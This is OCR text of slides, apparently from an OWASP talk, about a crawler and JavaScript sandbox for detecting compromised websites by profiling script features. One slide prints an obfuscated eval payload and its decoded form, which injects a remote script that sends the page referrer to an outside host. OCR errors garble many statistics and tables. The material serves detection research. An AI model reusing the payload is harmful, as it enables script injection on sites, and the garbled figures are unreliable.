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* Presenting today:
— Dr. Paolo Di Prodi a.k.a “epokh”

* Previous work on:

— Started with DOS,Win3.1,Win95,98 now Win8!
— Binary reversing on crack and warez
— First Java ME bytecode patcher

* Research background:
— Machine learning and Al in social robotics

== Microsoft
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* Working now for Microsoft on:
— Machine Learning applied to Intrusion detection
— Big data and security

— Build POC systems with any technology available
from Microsoft and outside

== Microsoft
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* Problem:
— How many websites are compromised?
— What are the most common attack vectors?
— How can we monitor a website?

e Solution:
— Requires a web tracking system

— Requires JS sandboxing
— Requires heuristics
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HOW IT WAS CONDUCTED

WhiteHat's Webste Security Statistics Repon
provides & one-of-a-kingd perspactive on the
stato of websie securlty and the issues that
organizations must address in order to conduct
business online sately

Wae asked WhiteHat Securty customers 10
answer roughly a dozen survay questions about
their SOLC and application securty program, We
recenved responses (o this survay from 76
organizations, and then correlated those
responses with WhiseHat Sentingd website
vulnerability data.

THE BIG PICTURE

THE VULNERABILITIES

The number of *serlous vulnerabllities

discovered per site Is decreasing

| THE INDUSTRIES |

possess the most security
issues with an average of

14

*serious vulnerabilities per site

of all websites had at
least one serious*
vuinerabllity during 2012

Is the most prevalent
vulnerability found
with a likelihood of

55*

S
to have at least one
*serious vulnerability
appearing on a site

e 4"

X 4 8

fixed *serious vulnerabilities the fastest

The average number of Were resolved in an
*serious vulnerabilities  average of

86 eg.. 193 61*%
56

MAY 2013

*Serious vulnerabilities

79

of all *serious
. d vulnerabilities were
from first notification  resolved

But
is the most frequently found *serious

vulnerability ‘
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342
276
274

fixed *serious vulnerabilities the slowest

Source: White Hat Report 2013

SLOW FIX



 OWASP

The Open Web Application Security Project

Conent
Spoofing
14%

Cross-Site
Scripting
50%

SQL Injection
4%

Response
3%
Insufficient
Authorization
4%

Information

Leakage Other
9% 8% a%

Predictable Resource
Location

Figure 4. Overall Vulnerabllity Population (2011)
Percentage breakdown of all the serlous” vulnerabilities discovered
(Sorted by vulnerability class)

Source: Black Hat Report 2011

XSS types:

— Stored

— Reflected
— Dom based

XSS vectors:

* JS

 PDF
ActiveX
* |[frame
Shockwave
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Example of storage based XSS

@

</ > vulnerable

0 webpage

“\ Injects malicious script >

Attacker

Saves Malicious script into
a database N
|4

Allow: /
User Request data server </>E
from server
Data Containing the

Malicious script is loaded

y N

</>

Maliscious script may get
executed and call back to the attacaker

e Basic behaviours:
— URL injection to malware dropper
— Form injection for phishing
— Page redirection

~ Cookie stealing Source: Acunetix
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* We need to monitor our websites:

— We want to know:
 What was added/removed/deleted?
 When did that happen?

 Who did it?
* |Is it malicious or just our webadmin playing tricks?
— Solution:

e Sounds like a GIT job to me
* With some WGET scripting
— Problems:

* WGET not doing a good crawling job especially for dynamic
pages
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Webtracker

Heritrix JSProfiler
WebCrawler NoDOM
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Webtracker

=l Provision the VM -> 30 minutes

Install packages

Java, Python, Perl etc

Google V8 JS patched

Mozzilla JS patches

mad Setup DB

=l Setup Heritrix

=l Ready to go
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* Heritrix
— Latest Version January 2014
— Java Based Web Crawler
— Run on multiple instances

* Python Thug:
— Latest Version March 2014
— HoneyPot client sandbox for JS execution

— Currently detects: 161 Exploits
— Including: Adobe PDF, Shockwave, Java Web



—— -
OWASP

The Open Web Application Security Project

Patched JS monkey

* Logs the following features for each JS script
— Document.write
— string_instance: var foo="“hello world”
— Element instance: var btn=document.createElement
— Object instance: var foo={text:”hello world”}
— Eval: var foo=eval(“x *y )
— Location: hash,host,hostname,href,origin,port,etc:
— Escape and unescape
— Encode: encodeURI(),decodeURI()
— Decode: dencodeURIComponent()
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Useful to de-obfuscate

Example:

eval(function(p,a,c,k,e,d){e=function(c){return
c.toString(36)};if(!"".replace(/”/,String)){while(c--
}{d[c.toString(a)]=k[c] | | c.toString(a)}k=[function(e){r
eturn d[e]}];e=function(){return'\\w+'};c=1};while(c-
-Nif(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return
p}('5("1.4(\'<0 7=\\"3\\"
2=\\"6://d.8.c/b/?a=\"+1.9+\"\\"></0>\');");',14,14,'s
cript|document|src|Javascript|write |eval | http|lan
guage |robomotic|referrer|ref|style|com|www'.spli

t("1"),0,1})
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Useful to de-obfuscate

Original was:

eval("document.write('<script language=\"Javascript\"
src=\"http://www.robomotic.com/style/?ref="+document.referrer+'\"></

script>');");
Profile generated (on the obfuscated one):

— String_instance: 4
— Document_Write: 1

— Element_instance,
Object_instance,decode,location,escape,decode:

0
— Eval: 2
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Python thug

* Logs the following features for each JS script
— Document.write
— string_instance: var foo="“hello world”
— Element instance: var btn=document.createElement
— Object instance: var foo={text:”hello world”}
— Eval: var foo=eval(“x *y )
— Location: hash,host,hostname,href,origin,port,etc:
— Escape and unescape
— Encode: encodeURI(),decodeURI()
— Decode: dencodeURIComponent()
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e WebDetector

— Version 3:
* Django app with RESTFUL api to Hedrix
» Celery for distributed task allocation
* Integration with Zozzle

e Anonimization:

— Raspberry Pl with Onion PI
— Basically TOR
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JS no
DOM

Analysis JS DOM

Ingest Indexing
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400

Can you guess which sites are malicious?

350

300

250

1

200
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O object_instance
B element_instance

O escape

ni

150

Oeval

@ string_instance/50

O document_write

100 +
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The first four were fetched by compromised malware sites

O object_instance

B element_instance
Oescape

Oeval

@ string_instance/50

O document_write
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Classification via Naive Bayes or Decision Tree gives 100% accuracy.
Small dataset: 85 GOOD, 64 BAD

Vean(Feature) | GOOD_______|BAD

Document_write 90 15
String_instance 4626 135
Element_instance 5 30
Object_instance 10 60
Eval 61 27
Escape 12 0

A larger dataset is required to run a statistically significant classification rule,
but is a good start
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LAt

<« C' [0 minint-r8cp662:8081/reports/crawljobjsp?job=20140514160004636

=5 Apps weD

| | m m " Status as of Mav. 19, 2014 13:55:30 GMT Alerts: no alerts
KK HOLDING JOBS

Crawl job report 0 jobs pending, 3 completed
Console Jobs Profiles Logs PETNEY Setup Help

Job name: RobomoticWordpress
Status:  Fmished - Ended by operator
Time: 55m33s5130ms

[ ]
rivv yrsnmmnm vt

Processed docs/sec: 042
Processed KB/sec: 17
Total data written: 60106876 (57 MB)

—— HITP
Status code
HTTP-200-Success-OK
HTTP-404-ClientErr-Not Found
HTTP-301-Redirect-Moved Permanently
HTTP-302-Redirect-Found
HTTP-403-ClientErr-Forbidden
HTTP-400-ClientErr-Bad Request
HTTP-204-Success-No Content
HTTP-303-Redirect-See Other
Total:

MINME type
text/html
image/jpeg
image/png
text/plam
application/x-javascript
text/css
image/gif
application javascript
textzml
text/javascript
application/json
application/xml
application/x-shoclowave-flash
image/x-icon
no-type
application/opensearchdescription+xml
application/pdf
application/xhtml+xml
text/x-cross-domain-policy

I

Documents
I 735 (55
I {57 (34.7%)

. 84 (5.4%)
117 ¢

111 3%

Documents
I 720 (55.4%)
. 126 (55%)

[ RS

| )
53 (45
50 (s
W4l 31%)
W37 Q%)
W34 26w
W23 (e
117 3w
113 )
111 (0.8%)
15 (04%)
13

12

12
11
11

TR

Data
8.9 MB
6.0 MB
3.1MB
275KB
20MB
910KB
8.5 MB
1.0MB
192 KB
1.1MB
20KB
109 KB
13 MB
82KB
846 B
11KB
11 MB
837B
608 B

1 aaam
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* Js Profile report

sample document_ string_instaelement_inst object_inst locatio escap encod deco
domain s write nce ance ance eval n e e de class

moderndevice.c
om

=
(@)

0GOOD
4GOO0OD
0GOOD
0GOOD

0
twimg.com 1
0
0
0 0GOOD
3
3
3
)

neurdon.com
norduino.com
robomotic.com
9GOO0D
10BAD
10BAD
13G0OO0D

XXXXXXX. XXX XX

R B N P NN DN W W
o A M O O O O O O
R W b~ O O © 0

wordpress.com
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*  Thugreport JSON example:
"exploits": [
{
"url": "about:blank",
"cve": "CVE-2007-4391",
"data": null,
"description": "Server Console Overflow",
"module": "Yahoo! Messenger 8.x Ywcvwr ActiveX"

}
1,
"behavior": |
{
"timestamp": "2014-05-27 15:50:02.075500",
"cve": "CVE-2007-4391",
"description": "[Yahoo! Messenger 8.x Ywcvwr ActiveX] Server Console Overflow",
"method": "Dynamic Analysis"
}

],

"url": “xxxxxxx.fr",

"timestamp": "2014-05-27 15:50:01.878054",
"connections": [],

"locations": []
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pd Timestmap ' [ Ml Resp@d Parent
http://62.76.43.78/p2p/PP_detalis_726 http://www.robomotic.c
716942049.pdf... 14/05/2014 16:14 text/html; charset=' 13428676 2124 CM.1.arco 403 om/android/ text/html

text/html; http://www.robomotic.c
http://beatdiabetes.us/ 14/05/2014 16:14 charset="utf-8" 8555635 6852 CM.2.arco 200 om/android/ text/html

text/html;
14/05/2014 18:12 charset="utf-8" 4356 234 CM.1.arco 200
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robomot

@ Robomotic Spinloops 9 @3 =+ Mew Howdy, bonzo ] Q
exact geographical GPS location.

Betal.ocator is more advanced than an Airbag, because you can setup the threshold for
the impact detection.

The detector is based on a simple but effective Al approach which uses artificial neurons
(yes like the one you have in your brain) to reliably detect the impact.The basic version in the Android market does
not contain the GPS location feature, which is included in the commercial one that costs only 4 GBP.

The free version is available on the android webpage.
The full version is available on the android webpage.

Follow us on Twitter

Written by bonzo Betal ocator |

ags

Blogroll

Powered by WordPress H Cptimized For
mobile devices




OWASP

The Open Web Application Security Project

=
=P Apps wep

archive

archive home

Legal Terms

Versioninglistsitsalilde




/—\
OWASP

¥ The Open Web Application Security Project

>

Risk indication summary

i samples Bl outside_form [l outside_ip g outside_js il inside_js §fl embedded_js §d exploitd risk

youtube.com

lakiscamp.gr

gmpg.org 14 (0] 0] 0] 0] 0] 0 LOW
XXXXXXX.fr 5 1 0 25 25 10 1 HIGH
adobe.com 4 (0] 0] (0] 60 24 0 LOW
browsehappy.com 4 (0] 0] 6 8 6 0 LOW
ytimg.com 4 (0] 0] 0] 0] 0] 0 LOW
beatdiabetes.us 2 (0] 0] 4 8 8 0 LOW
gstatic.com P (0] 0] (0] 0] 0] 0 LOW
w3.org p) (0] 0] (0] 0] 0] 0 LOW

XXXX.co.uk 1 0 1 23 8 8 0 MEDIU
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* Things that | learned:

— Wget vs Heritrix:
* Fails to crawl highly dynamic pages
 Efficient on simple sites
* Plenty of rules and plugins to use
* Heritrix requires Java environment

— Tor: uses only socks, requires a proxy on host
— Tor: be careful with DNS leaking
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* Detecting more XSS passive:

— Harder than active XSS scanning

* Semantically how do you know that a web page is
behaving as originally designed?

 Efficient on simple sites
* Plenty of rules and plugins to use
* Heritrix requires Java environment

— Better heuristics:
* Check for cookie manipulation
* Check XSS also on: onLoad, onmouseover, img src etc.
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* Next Version
— Django App for reporting via Grappelli
— Support for Heritrix 3

 WARC ingester directly to DB
e API Restful interface for automation

— Support for malware blacklists
— Extend Thug plugins?
— Plugin for Microsoft Zozzle?



/__\
OWASP

The Open Web Application Security Project

* Project will be on Github at some point this
year
e Vagrant image will be on the cloud

* Contact me: Paolo.DiProdi@microsoft.com
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